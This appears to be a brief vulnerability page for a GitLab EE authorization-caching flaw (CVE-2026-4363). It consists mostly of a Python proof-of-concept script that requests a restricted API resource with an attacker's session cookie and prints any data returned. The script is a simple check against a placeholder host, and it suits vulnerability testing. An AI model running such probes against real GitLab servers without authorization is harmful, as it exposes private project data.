CVE-2026-4363 GitLab权限提升漏洞

# PoC Concept for Improper Authorization Caching in GitLab EE # This script demonstrates checking for unauthorized access via cached responses. import requests TARGET = "https://gitlab.example.com/api/v4/sensitive_project" SESSION_COOKIE = "_gitlab_session=valid_attacker_cookie" def check_cache_bypass(): headers = {"Cookie": SESSION_COOKIE} print("[*] Attempting to access restricted resource...") # The attacker requests a resource they normally shouldn't see. # If the system returns cached data from a privileged user's request, # the status code will be 200 instead of 403. response = requests.get(TARGET, headers=headers) if response.status_code == 200: print("[+] Potential vulnerability detected!") print("[+] Received unauthorized data:") print(response.text[:200]) elif response.status_code == 403: print("[-] Access denied (403). Cache may be secure or not primed.") else: print(f"[*] Unexpected response: {response.status_code}") if __name__ == "__main__": check_cache_bypass()